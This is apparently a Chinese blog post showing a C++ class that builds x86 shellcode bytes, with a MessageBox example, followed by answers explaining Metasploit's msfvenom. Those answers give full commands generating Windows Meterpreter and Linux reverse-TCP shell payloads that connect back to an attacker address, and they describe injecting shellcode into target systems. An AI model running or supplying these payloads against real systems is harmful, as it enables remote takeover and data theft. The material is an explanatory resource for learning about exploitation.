一个简单用来生成shellcode的类

前几天在生成shellcode的时候用的硬编码,后来自己写了个类,可以用来接收一些地址什么的动态生成

class SHELLCODE {
public:
	int size;
	int now_point;
	BYTE* shellcode;
	SHELLCODE(int size);
	void append(BYTE payload);
	void append(WORD payload);
	void append(DWORD payload);
	void push(LONG payload);
	void moveax(DWORD payload);
	void jmpeax();
	void jmp_eax_();
	void jmp_address_(DWORD payload);
	void calleax();
	void call_eax_();
	void call_address_(DWORD payload);
	void ret(BYTE payload);
};

size保存的是总的大小,now_point是当前可以填充的下一个指针,复制shellcode时候大小就是now_point
call_eax_代表了 call[eax]
calleax就是 call eax

SHELLCODE::SHELLCODE(int size) {
	this->size = size;
	this->now_point = 0;
	this->shellcode = (BYTE*)malloc(sizeof(BYTE)*size);
}
void SHELLCODE::append(BYTE payload) {
	this->shellcode[now_point] = payload;
	this->now_point++;
}
void SHELLCODE::append(WORD payload) {
	this->append(*((BYTE*)&payload));
	this->append(*((BYTE*)&payload + 1));
}
void SHELLCODE::append(DWORD payload) {
	this->append(*((WORD*)&payload));
	this->append(*((WORD*)&payload + 1));
}
void SHELLCODE::push(LONG payload) {
	if (payload >= -128 && payload <= 127) {
		this->append((BYTE)0x6a);
		this->append((BYTE)payload);
	}
	else {
		this->append((BYTE)0x68);
		this->append((DWORD)payload);
	};
}
void SHELLCODE::moveax(DWORD payload) {
	this->append((BYTE)0xb8);
	this->append(payload);
}
void SHELLCODE::jmpeax() {
	this->append((WORD)0xe0ff);
}
void SHELLCODE::jmp_eax_() {
	this->append((WORD)0x20ff);
}
void SHELLCODE::jmp_address_(DWORD payload) {
	this->append((WORD)0x25ff);
	this->append(payload);
}
void SHELLCODE::calleax() {
	this->append((WORD)0xd0ff);
}
void SHELLCODE::call_eax_() {
	this->append((WORD)0x10ff);
}
void SHELLCODE::call_address_(DWORD payload) {
	this->append((WORD)0x15ff);
	this->append(payload);
}
void SHELLCODE::ret(BYTE payload) {
	this->append((BYTE)0xc2);
	this->append(payload);
	this->append((BYTE)0x00);
}

比如说我们要构造一个messagebox的汇编
简单的使用

SHELLCODE shellcode(100);
shellcode.push(0);
shellcode.push(0);
shellcode.push(0);
shellcode.push(0);
shellcode.moveax(地址)
shellcode.calleax()
shellcode.ret(0x10)
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: MSF生成shellcode是一种常见的渗透测试技术,可以用于获取目标系统的控制权。使用MSF生成shellcode需要掌握一定的技术知识和经验,包括了解目标系统的漏洞、了解不同型的shellcode以及使用MSF生成工具等。通过合理使用MSF生成shellcode,可以有效提高渗透测试的效率和成功率。 ### 回答2: MSF(Metasploit Framework)是一个广泛使用的渗透测试工具,常用于开发和测试网络安全漏洞。它的一个特色是可以自动生成各种Payload,包括各种平台的ShellcodeShellcode是一种十六进制编码的机器语言代码,它通常被黑客和渗透测试人员用于攻击目标计算机系统。通过使用MSF Framework,我们可以生成各种型的Shellcode,这些Shellcode可以按照我们自己的需要进行定制。 在MSF Framework中,我们可以使用msfvenom工具生成Shellcode,该工具是一个十分强大的Payload 生成器,使用起来非常简单。首先,我们要指定Payload的型,比如说是Windows还是Linux,以及处理器架构和操作系统版本。 生成Windows平台的Shellcode,我们可以使用下面这条命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f hex -o shellcode.txt 其中,“-p”指定Payload,这里我们使用的是windows/meterpreter/reverse_tcp,它可以反向连接我们指定的IP地址和端口。LHOST是我们的IP地址,LPORT是监听的端口。然后我们指定输出格式是hex,将其输出到shellcode.txt文件中。 生成Linux平台的Shellcode也很简单,我们可以使用下面这条命令: msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f hex -o shellcode.txt 这里我们使用的是linux/x86/shell/reverse_tcp Payload,它也可以反向连接指定的IP地址和端口。 总的来说,生成Shellcode是非常重要的黑客工作,使用MSF Framework的msfvenom工具可以帮我们快速生成各种型的Shellcode,而且十分方便实用。但是需要注意的是,使用Shellcode进行攻击可能会违法,所以使用前要自觉遵守相关法律规定。 ### 回答3: MSF是Metasploit框架的简称,它是一种广泛使用的网络攻击工具。MSF有许多功能,其中一个基本功能就是生成shellcodeShellcode是位于程序中的二进制代码,其目的是执行特定的操作,比如弹出一个命令行窗口来执行攻击者命令等等。在网络攻击中,shellcode往往是黑客的“最后一击”,用来穿过目标系统的防御措施,从而实现控制盗窃信息或实施其他恶意行为。 MSF生成shellcode的步骤如下: 1. 打开MSF控制台,使用"msfvenom"命令来生成shellcode。我们可以使用如下命令来进行生成: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP address> LPORT=<attacker port number> -f <output file format> -o <output file location> 其中,“-p"参数代表payload(负载,即要注入目标系统的代码),windows/meterpreter/reverse_tcp是要注入的代码型;"LHOST"参数代表攻击者的IP地址,"LPORT"参数代表攻击者的端口号;"-f"参数代表输出文件的格式;"-o"参数代表输出文件的位置。 2. 运行该命令后,MSF会生成自定义的shellcode,其格式为二进制代码。我们可以将其保存在本地,以备后续使用。 3. 将shellcode注入到目标系统中。可以使用一些漏洞利用工具,如MSF框架,或在攻击者手动操作目标系统时,利用目标服务器上已知漏洞的服务向该服务器注入shellcode。一旦该shellcode开始运行,攻击者就可以进入目标服务器并获取所需的信息。 需要注意的是,生成shellcode需要有一定的网络安全知识以及操作系统相关知识。同时,使用MSF框架及其相关工具进行攻击是非法行为,一定要遵守法律规定。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值